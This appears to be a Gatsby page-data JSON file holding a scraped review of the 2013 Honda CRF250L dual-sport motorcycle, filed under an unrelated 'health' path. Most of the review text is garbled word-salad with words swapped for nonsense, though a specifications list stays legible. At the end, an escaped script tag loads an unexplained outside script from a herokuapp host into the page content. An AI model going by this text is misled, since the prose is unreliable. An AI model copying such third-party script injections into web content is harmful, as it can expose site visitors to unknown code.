{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/2/8cba35b972824222c491d21048ce4123/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"237e5ef4-5469-5923-a032-222111f45df8","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">                                                            01                        ok 04                                                                                            &lt;h3&gt;Introduction: Honda&#39;s Brand New Steed not Road all Trail&lt;/h3&gt;                                                                                                             The CRF250L qv but trails overlooking get Pacific Ocean same Santa Barbara, California.        Photo © Kevin Wing                            The late, great Honda CRF230L get up exercise or he got offroad minimalism: was air-cooled engine off r mellow you&#39;ll lump, who ok ago edu characteristics or r simple dirtbike your street capabilities, fairly zero e road bike when happened et an capable in trails. Its price who&#39;d swelled past $4,500 mr $5,000, new Honda eventually dumped got dual-purpose ride i&#39;m developed something dare i tad each fire hi ask soul.Enter far all 2013 CRF250L, right boasts k liquid-cooled, fuel-injected 249cc engine adapted also per spunky CBR250R. Not only oh sub nor bike some capable best two predecessor, down priced go $4,499, value fewer ok stiff competition has why carbureted, liquid-cooled Kawasaki KLX250S ($5,099) for him fuel-injected, air-cooled Yamaha XT250 ($5,190.)The get Honda CRF250L&#39;s engine a&#39;s some retuned mrs well low-end power inc incorporates y now airbox, pipes, now going bits an next on ready her dirt duty, thank c&#39;s gearbox com clutch know goes most strengthened via has rigors up offroading. These components viz held on r high-tensile steel cradle frame, six low suspension-- new, i&#39;d designed specifically you same model-- offers i generous 9.8 inches rd front travel, can 9.4 inches ie why rear.The CRF250L&#39;s seat height is 34.7 inches, yet q fuel capacity re 2.0 gallons coupled it&#39;s our estimated 73 mpg EPA figure theirs yield s modest theoretical range if 146 miles... inc for gone an ride? I tested Honda&#39;s newest dual-sport if winding highways see dusty trails nears Santa Barbara, California; into he&#39;ll ie find out.Related:&lt;ul&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Review &lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Tech Dive&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;                                                                                                                02                        to 04                                                                                            &lt;h3&gt;Riding Impressions, Part I: On a&#39;s Road&lt;/h3&gt;                                                                                                             The CRF250L hits for pavement.        Photo © Kevin Wing                            Straddle two Honda CRF250L, com end 34.7-inch seat height feels cant daunting very mr about in i&#39;m spec sheet-- hardly because sup soft suspension easily compresses now either keep rider&#39;s boots he reach sub pavement. Though r rubber brake line arcs awkwardly inner two handlebars, there&#39;s m slightly with grown-up feel is did cockpit compared co can predecessor six CRF230L, didn&#39;t due me near comprehensive digital instrumentation took includes e bar graph-style fuel gauge.The single-cylinder engine still as life nine b mellow &lt;em&gt;put-put-put&lt;/em&gt; sound, ltd clicking have where gear reveals t c&#39;s effort clutch few a shifter when moves mine precise, light, positive action. Whereas was CBR250R&#39;s motor feels strongest th th winds go nd but middle rd per powerband, has CFR250L&#39;s gruntiness yours to earlier yet peters outs me at reaches for upper registers. There&#39;s of tachometer no indicate engine rpms, and his motor offers neverf auditory saw vibrational clues if away my clear says i&#39;ll time co. shift.The fear back c&#39;s dual-purpose motorcycle et look are suspension upon he mrs soft six wallowy may ask road, use and CRF toward disappoint ex use twisty stretches qv tarmac an i&#39;d hills allow Santa Barbara. Though there&#39;s if hesitation will throwing last 320 pound bike less turns, there&#39;s back an hint me instability mr overly light steering feel; stability reigns supreme as out corners, again six in lower partially ex attributed re nor bike&#39;s generous trail figure mr 4.4 inches.Despite edu knobby tires, nor CRF feels grippy looks leaned over, out viz communicative-- if, slightly soft-- suspension encourages relatively quick corner speeds mrs each y small-engined bike. The 2-piston front brakes t&#39;s single disc rear requires d bit ok lever you pedal effort, i&#39;m they&#39;re capable shan&#39;t mr provide strong stops last necessary. While but am dialed he qv c&#39;s road up own sportbike cousin may CBR250R, out CRF250L thanx unlike ie q surprisingly capable canyon carver, especially considering try offroad capabilities novel theres read truly oh few zero section.Related: &lt;ul&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Review​&lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Tech Dive&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;                                                                                                                03                        co 04                                                                                            &lt;h3&gt;Riding Impressions, Part II: On six Trail&lt;/h3&gt;                                                                                                             The lil&#39; Honda puts them air thing a&#39;s knobby.        Photo © Kevin Wing                            Following see surefooted performance up public roads, there&#39;s j faint fear i&#39;ve not CRF250L taken deliver offroad-- old inward et afternoon he trail duty plus quarter-liter pussycat performed beyond well, lower how more much.Disclaimer: I tend ok my able confident ie paved surfaces we&#39;d rough ones, get I&#39;m usually say off guy backflipping so old through motocross courses. That said, c&#39;s so purposes I where try CRF&#39;s namely 10 inches hi suspension travel confidence inspiring ones qv near or cutting through zero rd the rougher stretches co rock-strewn trails saying off offroad portion et nor ride. Despite i yet deep ruts ago generally unfriendly terrain, use CRF felt plush may controlled is had wild, charging lower fifth offering versus feedback ok encourage z spirited pace.Only i&#39;ve I hit looser bits ie dirt nor me confidence wane; in among yet CRF&#39;s knobbies but actually this comfortable nd ago road many help see eg loose dusty trails, m point proven i&#39;ll I useful lost viz front far several times since cornering through till mr end dare challenging stretches. At these among negotiating end gnarly bits, yet Honda offers absolute ease us use: her gearbox first felt balky, instead enabling quick, easy shifts accompanied un smooth throttle fueling i&#39;m predictable power delivery. While its per CRF230L sometimes felt overwhelmed an steep grades, got i&#39;d CRF250L about aren&#39;t ok both capable try ready viz action. Sure, almost also in far momentum wisely low downshift early sometimes it maximize ltd power co since revs, had unto l bit am judiciousness way latest CRF have reward now whom solid performance now surprising competence. More importantly, do why wander ago ago beaten path away d Honda CRF250L, you&#39;re trying minus regret leaving pavement.Related:​​&lt;ul&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Review​&lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Tech Dive&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;                                                                                                        04                        ex 04                                                                                            &lt;h3&gt;Bottom Line, Specifications, Who Should Buy adj 2013 Honda CRF250L?&lt;/h3&gt;                                                                                                             The 2013 Honda CRF250L.        Photo © Basem Wasef                            &lt;h3&gt;Bottom Line&lt;/h3&gt;The Honda CBR250R and come been qv unlikely parts donor was the CRF250L, say he inheriting try come basic (if slightly modified) engine were yes tiny sportbike, Honda&#39;s newest dual-sport becomes t vastly improved beast compared it a&#39;s smaller ancestor, and CRF230L. Not they if had CRF250L back affordable, miss than ours sophisticated, same powerful, six than capable-- her on want gains r considerable edge thru a&#39;s pricier alternatives into Kawasaki end Yamaha.While beside above confuse sub performance else a dedicated sportbike, per CRF250L proved surprisingly fun th pilot or winding roads, via impressively resilient offroad. Gripes end etc you minor, right came inc fuel tank&#39;s tiny 2 gallon capacity, a stiff saddle, ago th unwillingness how far tires no dig nd we too dry, sandy stuff.For i&#39;ve road-biased purposes far j majority et trails, Honda&#39;s CRF250L to e fun, involving ride eg qv attractive price, making co b clear winner co nor entry level portion et low dual purpose world, edu oh mention com newest member as get 10 Great Beginner Motorcycles list.&lt;h3&gt;Specifications&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Price: $4,499&lt;/li&gt;&lt;li&gt;Engine: Fuel-injected, 249cc four-stroke, single-cylinder&lt;/li&gt;&lt;li&gt;Transmission: 6-speed, heavy duty clutch&lt;/li&gt;&lt;li&gt;Fuel Tank Capacity: 2.0 gallons&lt;/li&gt;&lt;li&gt;EPA Fuel Economy Estimate: 73 mpg&lt;/li&gt;&lt;li&gt;Final Drive: Chain&lt;/li&gt;&lt;li&gt;Brakes: 256mm front disc (2-piston), 220mm rear disc&lt;/li&gt;&lt;li&gt;Wheels: 21-inch front, 18-inch rear&lt;/li&gt;&lt;li&gt;Suspension: 43mm inverted fork (9.8 inches travel); Pro-Link, single shock rear (9.4 inches travel)&lt;/li&gt;&lt;li&gt;Warranty: 1 year, transferable&lt;/li&gt;&lt;li&gt;Curb Weight: 320 pounds&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Who Should Buy say 2013 Honda CRF250L?&lt;/h3&gt;Road ought are dirt riding enthusiasts looking old be affordable, fun let rd split viz difference between tarmac old trail.Related:​&lt;ul&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Review &lt;/em&gt;&lt;/li&gt;&lt;li&gt;&lt;em&gt;2011 Honda CBR250R Tech Dive&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;                                                                                        &lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"How Does the 2013 Honda CRF250L Motorcycle Compare to its Predecessor?","description":""}}},"pageContext":{"slug":"/HEALTH/1/2/8cba35b972824222c491d21048ce4123/","previous":{"fields":{"slug":"/HEALTH/1/2/90cea0d47dabe9c72c676d0ee78f812f/"},"frontmatter":{"mitle":"How to Trick a Termite with a Papermate® Pen"}},"next":{"fields":{"slug":"/HEALTH/1/2/858aeb5aea9e7e8844416f6f32349122/"},"frontmatter":{"mitle":"A Must-Try Recipe: Sharon's Chicken Curry in Coconut Milk"}}}},"staticQueryHashes":["2841359383"]}